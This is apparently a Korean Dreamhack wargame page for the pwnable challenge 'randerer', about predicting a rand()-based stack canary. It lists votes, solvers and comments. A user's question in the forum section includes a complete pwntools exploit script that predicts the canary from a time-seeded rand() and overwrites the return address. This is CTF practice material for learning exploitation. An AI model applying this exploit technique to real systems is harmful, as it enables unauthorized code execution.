학습
워게임
CTF
커뮤니티
랭킹
스토어
커리어
로그인
|
기업 서비스
Home
학습
워게임
CTF
커뮤니티
랭킹
기업 서비스로 이동하기 >
LEVEL 2
randerer
pwnable
631
227
2024.09.28. 09:00:00
로그인 하고 문제 풀기
문제 정보
풀이
27
난이도 투표
58
질문
1
최근 풀이자
227
댓글
2
해당 문제는 Dreamhack CTF Season 6 Round #8 (🌱Div2) 에 출제된 문제입니다.
문제 설명
Description
rand() canary!
Translate
난이도 투표
58
문제 풀이를 완료한 후에 피드백을 제출할 수 있습니다.
투표 결과
전체 투표 로그
1 / 12
Z3R0C0K3
시스템 해킹 중급자
LEVEL 3에 투표했습니다.
22일 전
Axii
시스템 해킹 전문가
LEVEL 2에 투표했습니다.
28일 전
n0w4t3r
시스템 해킹 중급자
LEVEL 2에 투표했습니다.
1개월 전
AppleBeetCarot
고목
LEVEL 2에 투표했습니다.
2개월 전
ororang
대표 업적 없음
LEVEL 2에 투표했습니다.
2개월 전
질문
1
문제 풀이에 어려움이 있으신가요?
커뮤니티에서 문제에 대한 질문하고 답변 얻기
[스포 주의] 질문 있습니다.
from ctypes import * from pwn import * p = remote('host3.dreamhack.games', 18719) libc = CDLL('/lib/x86_64-linux-gnu/libc.so.6') libc.srand(libc.time(0)) p.recvuntil(': ') p.recvuntil('\n') payload = b'B'*16 canary = 0 for i in range(8): temp = canary << 8 canary = temp | libc.rand() & 0xff canary = canary.to_bytes(8, byteorder="little") print(p32(0x401291)) payload += canary payload += b'C'*16 + p64(0x401299) p.sendlineafter(': ', payload) p.interactive() payload += b'C'*16 + p64(0x401299)에서 왜 win의 주소인 0x401291에서 +0x8을 더해주는지 궁금합니다. 저걸 더해서 8바이트가 추가되는 건가요 ?
Garden_
답변
1
추천
0
10개월 전
«
‹
1
›
»
LEVEL 2
randerer
pwnable
631
227
2024.09.28. 09:00:00
로그인 하고 문제 풀기
출제자 정보
Dreamhack
대표 업적 없음
Dreamhack official account
First Blood!
keymoon
2024 Invitational CHAMPION
출제된 지
15분
만에 풀이 완료!
최근 풀이자
227
syn9
대표 업적 없음
5일 전
Z3R0C0K3
시스템 해킹 중급자
22일 전
새똥
워게임: 50
26일 전
Axii
시스템 해킹 전문가
28일 전
haro001
시스템 해킹 고인물
30일 전
ta3woong
대표 업적 없음
1개월 전
n0w4t3r
시스템 해킹 중급자
1개월 전
tp0t
대표 업적 없음
2개월 전
AppleBeetCarot
고목
2개월 전
hebi
기수단
2개월 전
«
‹
1
2
3
4
5
›
»
댓글
2
z3rodae0
시니어
1년 전
guessable random number
Translate
PinBall
Crazy 8
1년 전
ctypes!!
Translate
«
‹
1
›
»
댓글 2